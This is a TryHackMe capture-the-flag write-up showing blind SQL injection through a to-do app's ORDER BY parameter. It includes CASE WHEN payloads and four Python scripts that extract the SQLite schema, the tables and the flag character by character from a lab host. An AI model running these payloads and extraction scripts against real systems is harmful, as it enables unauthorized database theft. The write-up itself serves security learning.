Prioritise

In this challenge you will explore some less common SQL Injection techniques. - by congon4tor

TryHackMe | PrioritiseTryHackMe

Recon

┌──(kali㉿kali)-[~/Documents/tryhackme/prioritise]
└─$ nmap -sT 10.10.146.190    
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-17 21:13 EDT
Nmap scan report for 10.10.146.190
Host is up (0.052s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.88 seconds

The Website greets us with a todo list, with the options to add entries, delete entries and sorting those by status, date or title.

POST /new HTTP/1.1

Host: 10.10.146.190

Content-Length: 37

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://10.10.146.190

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://10.10.146.190/

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Connection: close



title=hello+world&date=05%2F25%2F2023

GET /?order=title HTTP/1.1

Host: 10.10.146.190

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://10.10.146.190/

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Connection: close

Checking sqli on order by

https://portswigger.net/support/sql-injection-in-the-query-structure

Guessing the table todos with the column date reveals that the order by function is injectiable, by using the following two sql statements which evaluates and sorting the entries either way by title or date

(CASE WHEN(SELECT date FROM todos WHERE date IS NOT NULL) THEN title ELSE date END)
(CASE WHEN(SELECT date FROM todos WHERE date IS NOT NULL) THEN date ELSE title END)

To find the flag, try to get the sql schemata

Frist of all check the used database

Oracle Server Error 500

(CASE WHEN(SELECT table_name FROM dba_tables WHERE table_name IS NOT NULL) THEN date ELSE title END)

MySQL Server Error 500

(CASE WHEN(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME IS NOT NULL) THEN date ELSE title END)

SQLITE executes without a Server Error

(CASE WHEN(SELECT name FROM sqlite_schema WHERE name not null) THEN date ELSE title END)

To get the sql schemata we guess the characters leading to the case ordered by the title.

To avoid special characters like \n CHAR(10) \r CHAR(13) \t CHAR(9) those will be replace by + and -.

Dont forget to use group_concat to receive not just the first entry.

This Script failed unfortunatly, because it stopped due to a character which was not in probe, maybe a special character I did not consider.

SELECT sql FROM SQLITE_SCHEMA

import requests

# create an entry with title of 'a' and a date greater than the next entry
# create an entry with title of 'z' and a date smaler than the previous entry
# https://portswigger.net/support/sql-injection-in-the-query-structure

valid = 'a'

probe = '+-{}(), abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
host= "http://10.10.146.190/?order="

result = ''
pos = 1

while True:
	for elem in probe:
		query = "(CASE WHEN(SELECT SUBSTRING(replace(replace(replace(group_concat(sql), CHAR(10),'+'),CHAR(13),'+'),CHAR(9),'-'),1,{pos}) from sqlite_schema)='{sub}' THEN title ELSE date END)".format(pos=pos, sub=result+elem)
		response = requests.get(host+query)
		text = response.text
		val = text.splitlines()[95].strip()
		if(val == valid):
			result += elem
			pos += 1
			break
		if(elem == probe[-1]):
			print('\033[K')
			print(result)
			exit()
		if(elem != "\n"):
			print(result+elem,end='\r')

┌──(kali㉿kali)-[~/Documents/tryhackme/prioritise]
└─$ python3 enum_db.py

CREATE+TABLE+todos+(+-id+INTEGER+NOT+NULL,++-title+VARCHAR(40),++-done+BOOLEAN,++-date+DATE,++-PRIMARY+KEY+(id),++-UNIQUE+(title)+),CREATE+TABLE+

But there is another way to enumerate the db, by just getting the tables of the database:

SELECT NAME FROM SQLITE_SCHEMA WHERE TYPE = 'table' AND NAME NOT LIKE 'sqlite_%'

import requests

# create an entry with title of 'a' and a date greater than the next entry
# create an entry with title of 'z' and a date smaler than the previous entry

valid = 'a'

probe = '+-{}(), abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
host= "http://10.10.146.190/?order="

result = ''
pos = 1

while True:
	for elem in probe:
		query = "(CASE WHEN(SELECT SUBSTRING(replace(replace(replace(replace(group_concat(name), CHAR(10),'+'),CHAR(13),'+'),CHAR(9),'-'),CHAR(8),'-'),1,{pos}) from sqlite_schema WHERE TYPE ='table' AND NAME NOT LIKE 'sqlite_%')='{sub}' THEN title ELSE date END)".format(pos=pos, sub=result+elem)
		response = requests.get(host+query)
		text = response.text
		val = text.splitlines()[95].strip()
		if(val == valid):
			result += elem
			pos += 1
			break
		if(elem == probe[-1]):
			print('\033[K')
			print(result)
			exit()
		if(elem != "\n"):
			print(result+elem,end='\r')

┌──(kali㉿kali)-[~/Documents/tryhackme/prioritise]
└─$ python3 enum_tables.py 

todos,flag

There we have a table named flag. Lets enumerate its columns

SELECT name FROM PRAGMA_TABLE_INFO('table_name')

import requests

# create an entry with title of 'a' and a date greater than the next entry
# create an entry with title of 'z' and a date smaler than the previous entry

valid = 'a'

probe = '+-{}(), abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
host= "http://10.10.146.190/?order="

result = ''
pos = 1

while True:
	for elem in probe:
		query = "(CASE WHEN(SELECT SUBSTRING(replace(replace(replace(replace(group_concat(name), CHAR(10),'+'),CHAR(13),'+'),CHAR(9),'-'),CHAR(8),'-'),1,{pos}) from PRAGMA_TABLE_INFO('flag'))='{sub}' THEN title ELSE date END)".format(pos=pos, sub=result+elem)
		response = requests.get(host+query)
		text = response.text
		val = text.splitlines()[95].strip()
		if(val == valid):
			result += elem
			pos += 1
			break
		if(elem == probe[-1]):
			print('\033[K')
			print(result)
			exit()
		if(elem != "\n"):
			print(result+elem,end='\r')

┌──(kali㉿kali)-[~/Documents/tryhackme/prioritise]
└─$ python3 enum_columns.py 

flag

Getting the flag

So we know now, that the table flag, contains a field named flag, which might contains the flag...

import requests

# create an entry with title of 'a' and a date greater than the next entry
# create an entry with title of 'z' and a date smaler than the previous entry
# https://portswigger.net/support/sql-injection-in-the-query-structure

valid = 'a'
probe = '{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 '
host= "http://10.10.146.190/?order="

result = ''
pos = 1

while True:
	for elem in probe:
		query = "(CASE WHEN(SELECT SUBSTRING(flag,1,{pos}) from flag)='{sub}' THEN title ELSE date END)".format(pos=pos, sub=result+elem)
		response = requests.get(host+query)
		text = response.text
		val = text.splitlines()[95].strip()
		if(val == valid):
			result += elem
			pos += 1
			break
		if(elem == probe[-1]):
			print('\033[K')
			print(result)
			exit()
		print(result+elem,end='\r')